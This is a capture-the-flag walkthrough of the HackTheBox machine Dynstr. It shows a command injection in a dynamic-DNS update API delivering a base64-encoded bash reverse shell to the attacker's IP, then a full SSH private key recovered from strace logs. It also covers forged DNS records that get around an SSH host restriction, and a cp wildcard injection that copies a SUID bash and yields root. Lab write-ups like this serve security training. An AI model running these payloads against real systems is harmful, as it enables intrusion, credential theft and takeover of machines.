Dynstr - [HTB]

Cover Image for Dynstr - [HTB]
Marmeus
Marmeus

Introduction

Dynstr is a medium linux machine from HackTheBox where the attacker will have to execute some code on a DDNS API which doesn't sanitise its input in order to obtain a reverse shell. Then, will have to create subdomain with nsupdate in order to get access through the machine with an already created SSH certificate. Finally, will have to exploit a cp wildcard script in order to obtain SUID bash which will lead her or him to become root.

Enumeration

As always, let's start finding all opened ports in the machine with nmap.

kali@kali:~/Documents/HTB/Dynstr$ sudo nmap -sS -T5 -n -p- -oN AllPorts.txt 10.10.10.244
Nmap scan report for 10.10.10.244
Host is up (0.12s latency).
Not shown: 65532 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http

# Nmap done at Sat Jun 12 17:29:16 2021 -- 1 IP address (1 host up) scanned in 540.78 seconds

Then, we continue with a deeper scan of every opened port getting more information about each service.

kali@kali:~/Documents/HTB/Dynstr$ sudo nmap -sC -sV -p 22,53,80 -n -T5 -oN PortsDepths.txt 10.10.10.244
Nmap scan report for 10.10.10.244
Host is up (0.12s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 05:7c:5e:b1:83:f9:4f:ae:2f:08:e1:33:ff:f5:83:9e (RSA)
|   256 3f:73:b4:95:72:ca:5e:33:f6:8a:8f:46:cf:43:35:b9 (ECDSA)
|_  256 cc:0a:41:b7:a1:9a:43:da:1b:68:f5:2a:f8:2a:75:2c (ED25519)
53/tcp open  domain  ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.16.1-Ubuntu
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Dyna DNS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Having a look at the web page we can get information about the company Dynamic DNS API with its domains and credentials.

Dynamic DNS Services

Using gobuster we can retrieve an unusual directory.

kali@kali:~/Documents/HTB/Dynstr$ gobuster dir -t 40  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://dyna.htb/ php,html,txt -o gobuster.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://dyna.htb/
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/06/13 07:08:02 Starting gobuster in directory enumeration mode
===============================================================
/assets               (Status: 301) [Size: 305] [--> http://dyna.htb/assets/]
/nic                  (Status: 301) [Size: 302] [--> http://dyna.htb/nic/] 

Accessing to the web page we obtain nothing but a blank screen, but searching on Google about the NO-IP API we can find a post explaining everything about how to perform queries to the API.

In order to update a domain we need to specify in the request URL the domain and the ip with the parameters hostname and myip. Furthermore, we need to add the basic Authorization header and modify the User-Agent to identity our request.

The request would be the following.

GET /nic/update?hostname=dynamicdns.htb&myip=1.1.1.1 HTTP/1.1
Host: dyna.htb
Authorization: Basic ZHluYWRuczpzbmRhbnlk
User-Agent: Dynadns XXXXX/1.0.0 maintainer-contact@example.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1


Obtaining the following result.

HTTP/1.1 200 OK
Date: Sun, 13 Jun 2021 13:47:44 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 19
Connection: close
Content-Type: text/html; charset=UTF-8

911 [wrngdom]: htb

Looking at the no-ip response documentation it seems that we have and error.

StatusDescription
911ErrorA fatal error on our side such as a database outage. Retry the update no sooner than 30 minutes.

A 500 HTTP error may also be returned in case of a fatal error on our system at which point you should also retry no sooner than 30 minutes.

After fooling around with the subdomains in the hostname parameter we got the following result.

Request:

GET /nic/update?hostname=%3C%3Fphp%20system(%22id%22)%3F%3E.dnsalias.htb&myip=1.1.1.1 HTTP/1.1
Host: dyna.htb
Authorization: Basic ZHluYWRuczpzbmRhbnlk
User-Agent: Dynadns XXXXX/20-1.0.0 maintainer-contact@example.com


Response:

HTTP/1.1 200 OK
Date: Sun, 13 Jun 2021 17:23:13 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 22
Content-Type: text/html; charset=UTF-8
911 [nsupdate failed]

Looking on google about nsupdate seems that is a linux binary for dynamic DNS updates, so maybe the user input isn't sanitised.

Explotation

Injecting "; id # as subdomain we obtain RCE.

Request:

GET /nic/update?hostname=%22%3B%20id%20%23.dnsalias.htb&myip=1.1.1.1 HTTP/1.1
Host: dyna.htb
Authorization: Basic ZHluYWRuczpzbmRhbnlk
User-Agent: Dynadns XXXXX/20-1.0.0 maintainer-contact@example.com


Response:

HTTP/1.1 200 OK
Date: Sun, 13 Jun 2021 19:16:11 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 117
Content-Type: text/html; charset=UTF-8

server 127.0.0.1
zone dnsalias.htb
update delete 
uid=33(www-data) gid=33(www-data) groups=33(www-data)
good 1.1.1.1

In order to obtain an reverse shell we need to encode the following command in Base64 so there isn't any dot in the payload that could intercept the program as a subdomain.

kali@kali:~/Documents/HTB/Dynstr$ echo -n  "bash -i >& /dev/tcp/10.10.14.198/4444 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xOTgvNDQ0NCAwPiYx

Then we need to add the following commands to decode and execute our payload.

"; echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xOTgvNDQ0NCAwPiYx | base64 -d | bash #

Finally, we only need to URL encode the exploit.

%22%3B%20echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4xOTgvNDQ0NCAwPiYx%20%7C%20base64%20-d%20%7C%20bash%20%23

The final request is the following:

GET /nic/update?hostname=%22%3B%20echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4xOTgvNDQ0NCAwPiYx%20%7C%20base64%20-d%20%7C%20bash%20%23.dnsalias.htb&myip=1.1.1.1 HTTP/1.1
Host: dyna.htb
Authorization: Basic ZHluYWRuczpzbmRhbnlk
User-Agent: Dynadns XXXXX/20-1.0.0 maintainer-contact@example.com


Response:

kali@kali:~/Documents/HTB/Dynstr$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.198] from (UNKNOWN) [10.10.10.244] 42382
bash: cannot set terminal process group (743): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dynstr:/var/www/html/nic$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation 1

Inside the folder /home/bindmgr/support-case-C62796521/ there are several debugging files.

/home/bindmgr/support-case-C62796521/strace-C62796521.txt
/home/bindmgr/support-case-C62796521/C62796521-debugging.script
/home/bindmgr/support-case-C62796521/C62796521-debugging.timing
/home/bindmgr/support-case-C62796521/command-output-C62796521.txt

In the file C62796521-debugging.script we can find the following command where we can see the debugging execution of the curl command.

bindmgr@nomen:~/support-case-C62796521$ strace -o strace-C62796521.txt -fs 2048 curl -v -sk sftp://bindmgr@sftp.infra.dyna.htb/bindmgr-release.zip --pubkey ~/.ssh/
* Expire in 0 ms for 6 (transfer 0x56090d2d1fb0)
* Expire in 1 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 0 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 2 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 0 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 0 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 2 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 0 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 1 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 2 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 1 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 1 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 2 ms for 1 (transfer 0x56090d2d1fb0)
*   Trying 192.168.178.27...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x56090d2d1fb0)
* Connected to sftp.infra.dyna.htb (192.168.178.27) port 22 (#0)
* SSH MD5 fingerprint: c1c2d07855aa0f80005de88d254a6db8
* SSH authentication methods available: publickey,password
* Using SSH public key file '/home/bindmgr/.ssh/id_rsa.pub'
* Using SSH private key file '/home/bindmgr/.ssh/id_rsa'
* SSH public key authentication failed: Callback returned error
* Failure connecting to agent
* Authentication failure
* Closing connection 0

Furthermore we can find the bindmgr's private key in the same file.

read(5, "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37HhVANJgY7EoewTwmSCcsl1\n42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwiOM8u/g8lV3\nHjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+F\nL6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdn\nUOLzjapbDdRHKRJDftvJ3ZXJYL5vtupoZuzTTD1VrOMng13Q5T90kndcpyhCQ50IW4XNbX\nCUjxJ+1jgwAAA8g3MHb+NzB2/gAAAAdzc2gtcnNhAAABAQDF4pkc7L5EaGz6CcwSCx1Bqz\nuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7a\nXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38P\nZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk\n+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs\n4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WODAAAAAwEAAQAAAQEAmg1KPaZgiUjybcVq\nxTE52YHAoqsSyBbm4Eye0OmgUp5C07cDhvEngZ7E8D6RPoAi+wm+93Ldw8dK8e2k2QtbUD\nPswCKnA8AdyaxruDRuPY422/2w9qD0aHzKCUV0E4VeltSVY54bn0BiIW1whda1ZSTDM31k\nobFz6J8CZidCcUmLuOmnNwZI4A0Va0g9kO54leWkhnbZGYshBhLx1LMixw5Oc3adx3Aj2l\nu291/oBdcnXeaqhiOo5sQ/4wM1h8NQliFRXraymkOV7qkNPPPMPknIAVMQ3KHCJBM0XqtS\nTbCX2irUtaW+Ca6ky54TIyaWNIwZNznoMeLpINn7nUXbgQAAAIB+QqeQO7A3KHtYtTtr6A\nTyk6sAVDCvrVoIhwdAHMXV6cB/Rxu7mPXs8mbCIyiLYveMD3KT7ccMVWnnzMmcpo2vceuE\nBNS+0zkLxL7+vWkdWp/A4EWQgI0gyVh5xWIS0ETBAhwz6RUW5cVkIq6huPqrLhSAkz+dMv\nC79o7j32R2KQAAAIEA8QK44BP50YoWVVmfjvDrdxIRqbnnSNFilg30KAd1iPSaEG/XQZyX\nWv//+lBBeJ9YHlHLczZgfxR6mp4us5BXBUo3Q7bv/djJhcsnWnQA9y9I3V9jyHniK4KvDt\nU96sHx5/UyZSKSPIZ8sjXtuPZUyppMJVynbN/qFWEDNAxholEAAACBANIxP6oCTAg2yYiZ\nb6Vity5Y2kSwcNgNV/E5bVE1i48E7vzYkW7iZ8/5Xm3xyykIQVkJMef6mveI972qx3z8m5\nrlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoG\njGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==\n-----END OPENSSH PRIVATE KEY-----\n", 4096) = 1823

The sanitised key is the following.

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37HhVANJgY7EoewTwmSCcsl1
42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwiOM8u/g8lV3
HjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+F
L6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdn
UOLzjapbDdRHKRJDftvJ3ZXJYL5vtupoZuzTTD1VrOMng13Q5T90kndcpyhCQ50IW4XNbX
CUjxJ+1jgwAAA8g3MHb+NzB2/gAAAAdzc2gtcnNhAAABAQDF4pkc7L5EaGz6CcwSCx1Bqz
uSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7a
XQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38P
ZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk
+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs
4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WODAAAAAwEAAQAAAQEAmg1KPaZgiUjybcVq
xTE52YHAoqsSyBbm4Eye0OmgUp5C07cDhvEngZ7E8D6RPoAi+wm+93Ldw8dK8e2k2QtbUD
PswCKnA8AdyaxruDRuPY422/2w9qD0aHzKCUV0E4VeltSVY54bn0BiIW1whda1ZSTDM31k
obFz6J8CZidCcUmLuOmnNwZI4A0Va0g9kO54leWkhnbZGYshBhLx1LMixw5Oc3adx3Aj2l
u291/oBdcnXeaqhiOo5sQ/4wM1h8NQliFRXraymkOV7qkNPPPMPknIAVMQ3KHCJBM0XqtS
TbCX2irUtaW+Ca6ky54TIyaWNIwZNznoMeLpINn7nUXbgQAAAIB+QqeQO7A3KHtYtTtr6A
Tyk6sAVDCvrVoIhwdAHMXV6cB/Rxu7mPXs8mbCIyiLYveMD3KT7ccMVWnnzMmcpo2vceuE
BNS+0zkLxL7+vWkdWp/A4EWQgI0gyVh5xWIS0ETBAhwz6RUW5cVkIq6huPqrLhSAkz+dMv
C79o7j32R2KQAAAIEA8QK44BP50YoWVVmfjvDrdxIRqbnnSNFilg30KAd1iPSaEG/XQZyX
Wv//+lBBeJ9YHlHLczZgfxR6mp4us5BXBUo3Q7bv/djJhcsnWnQA9y9I3V9jyHniK4KvDt
U96sHx5/UyZSKSPIZ8sjXtuPZUyppMJVynbN/qFWEDNAxholEAAACBANIxP6oCTAg2yYiZ
b6Vity5Y2kSwcNgNV/E5bVE1i48E7vzYkW7iZ8/5Xm3xyykIQVkJMef6mveI972qx3z8m5
rlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoG
jGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

However the private key needs a password that we can not obtain via john or hashcat.

kali@kali:~/Documents/HTB/Dynstr$ ssh -i bindmgr.key bindmgr@dyna.htb
The authenticity of host 'dyna.htb (10.129.125.243)' can't be established.
ECDSA key fingerprint is SHA256:443auWJe5iDH5JBCq/9ir4ToxZ5PTzTv7XvRSYrz0ao.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'dyna.htb,10.129.125.243' (ECDSA) to the list of known hosts.
bindmgr@dyna.htb's password: 

Looking at authorized_key we can see that we have access from any infra.dyna.htb subdomain.

www-data@dynstr:/etc/bind$ cat /home/bindmgr/.ssh/authorized_keys 
from="*.infra.dyna.htb" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF4pkc7L5EaGz6CcwSCx1BqzuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7aXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38PZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WOD bindmgr@nomen

Looking at the php code we can retrieve an example of how to update domains in this machine.

www-data@dynstr:/etc/bind$ cat /var/www/html/nic/update
<?php
[...] 
    // Update DNS entry
    $cmd = sprintf("server 127.0.0.1\nzone %s\nupdate delete %s.%s\nupdate add %s.%s 30 IN A %s\nsend\n",$d,$h,$d,$h,$d,$myip);
    system('echo "'.$cmd.'" | /usr/bin/nsupdate -t 1 -k /etc/bind/ddns.key',$retval);
[...]
?>

Furthermore, inside the /etc/bind/named.conf.local we can find information about the infra.key which will be needed for updating the zone 10.in-addr.arpa (Hack The Box network).

www-data@dynstr:/etc/bind$ cat named.conf.local
//
// Do any local configuration here
//

// Add infrastructure DNS updates.
include "/etc/bind/infra.key";
zone "dyna.htb" IN { type master; file "dyna.htb.zone"; update-policy { grant infra-key zonesub ANY; }; };
zone "10.in-addr.arpa" IN { type master; file "10.in-addr.arpa.zone"; update-policy { grant infra-key zonesub ANY; }; };
zone "168.192.in-addr.arpa" IN { type master; file "168.192.in-addr.arpa.zone"; update-policy { grant infra-key zonesub ANY; }; };
// Enable DynDNS updates to customer zones.
include "/etc/bind/ddns.key";
zone "dnsalias.htb" IN { type master; file "dnsalias.htb.zone"; update-policy { grant ddns-key zonesub ANY; }; };
zone "dynamicdns.htb" IN { type master; file "dynamicdns.htb.zone"; update-policy { grant ddns-key zonesub ANY; }; };
zone "no-ip.htb" IN { type master; file "no-ip.htb.zone"; update-policy { grant ddns-key zonesub ANY; }; };

// *** WORK IN PROGRESS, see bindmgr.sh ***
// include "/etc/bind/named.conf.bindmgr";

Using this webpage we can create a DNS registry with the subdomain .infra.dyna.htb.

Note: For some reason I could not comprehend creating a registry for the subsubdomain "sftp.infra.dyna.htb" does not work, so you need to use other.

www-data@dynstr:/tmp$ echo -e "update add test.infra.dyna.htb 3600 A 10.10.14.198\n\nupdate add 198.14.10.10.in-addr.arpa. 3600 PTR test.infra.dyna.htb\nsend\n" |  nsupdate -k /etc/bind/infra.key

Now, we are able to access to the machine as bindmgr through SSH.

kali@kali:~/Documents/HTB/Dynstr$ ssh bindmgr@dyna.htb -i bindmgr.key 
Last login: Fri Jun 18 21:55:15 2021 from oops.infra.dyna.htb
bindmgr@dynstr:~$ id
uid=1001(bindmgr) gid=1001(bindmgr) groups=1001(bindmgr)

Privilege Escalation 2

The user bindmgr can execute the script /usr/local/bin/bindmgr.sh as sudo.

bindmgr@dynstr:~$ sudo -l
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known                                                          
Matching Defaults entries for bindmgr on dynstr:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin                                              
User bindmgr may run the following commands on dynstr:
    (ALL) NOPASSWD: /usr/local/bin/bindmgr.sh
bindmgr@dynstr:~$ cat /usr/local/bin/bindmgr.sh

Analyzing the script we can see that it checks for a .version file, compares its version with the one at /etc/bind/named.bindmgr/.version, then copies every single file in the current directory to /etc/bind/named.bindmgr using wildcards.

#!/usr/bin/bash

[...]
BINDMGR_CONF=/etc/bind/named.conf.bindmgr
BINDMGR_DIR=/etc/bind/named.bindmgr

indent() { sed 's/^/    /'; }

# Check versioning (.version)
echo "[+] Running $0 to stage new configuration from $PWD."
if [[ ! -f .version ]] ; then
    echo "[-] ERROR: Check versioning. Exiting."
    exit 42
fi
if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then
    echo "[-] ERROR: Check versioning. Exiting."
    exit 43
fi

[...]

# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR."
cp .version * /etc/bind/named.bindmgr/

[...]

Thanks to this post and looking at the cp documentation we can any any file keeping its privileges (--preserve=mode ) . In this scenario we will be coping a SUID bash binary that once executed we will become owned by root.

In order to do so we need to execute the following commands.

bindmgr@dynstr:/tmp/marmeus$ echo 1 > .version
bindmgr@dynstr:/tmp/marmeus$ echo > --preserve=mode 
bindmgr@dynstr:/tmp/marmeus$ cp /bin/bash .
bindmgr@dynstr:/tmp/marmeus$ chmod u+s bash 
bindmgr@dynstr:/tmp/marmeus$ sudo /usr/local/bin/bindmgr.sh
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /tmp/marmeus.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors: 
    /etc/bind/named.bindmgr/bash:1: unknown option 'ELF...'
    /etc/bind/named.bindmgr/bash:14: unknown option 'hȀE'
    /etc/bind/named.bindmgr/bash:40: unknown option 'YF'
    /etc/bind/named.bindmgr/bash:40: unexpected token near '}'
bindmgr@dynstr:/tmp/marmeus$ /etc/bind/named.bindmgr/bash -p
bash-5.0# id
uid=1001(bindmgr) gid=1001(bindmgr) euid=0(root) groups=1001(bindmgr)
bash-5.0# cat /root/root.txt
[...]